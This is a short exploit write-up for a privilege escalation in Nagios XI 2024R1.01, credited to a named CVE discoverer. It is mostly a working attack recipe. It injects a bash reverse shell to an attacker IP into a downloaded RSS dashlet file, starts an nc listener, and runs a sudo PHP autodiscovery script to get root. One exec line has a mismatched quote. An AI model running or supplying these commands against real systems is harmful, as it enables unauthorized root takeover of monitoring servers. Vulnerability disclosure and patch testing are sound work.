
Privilege escalation exploit for Nagios XI 2024R1.01, enabling full root access from NAGIOS or APACHE users via malicious RSS dashlet injection and sudo command execution.
CVE Discovered by: K. Wahab (Neo`X)
RSS Dashlet is used in this example.
exec('/bin/bash -i >& /dev/tcp/<Attacker IP>/4441 0>&1);
nc -nlvp 4441
sudo /usr/bin/php /usr/local/nagiosxi/scripts/components/autodiscover_new.php --addresses=127.0.0.1/1
Go on the "dashlets" managing page and download a Dashlet:
http://TARGET_IP/nagiosxi/admin/dashlets.php?download=rss_dashlet
Modify the *.inc.php:
exec("sleep 30 && /bin/bash -c '/bin/bash -i >& /dev/tcp/<Attacker IP>/4441 0>&1'");

nc -nlvp 4441
sudo /usr/bin/php /usr/local/nagiosxi/scripts/components/autodiscover_new.php --addresses=127.0.0.1/1
(Note : After executing the command you will receive connection as APACHE, use CTRL+C to exit and restart listener again multiple times)
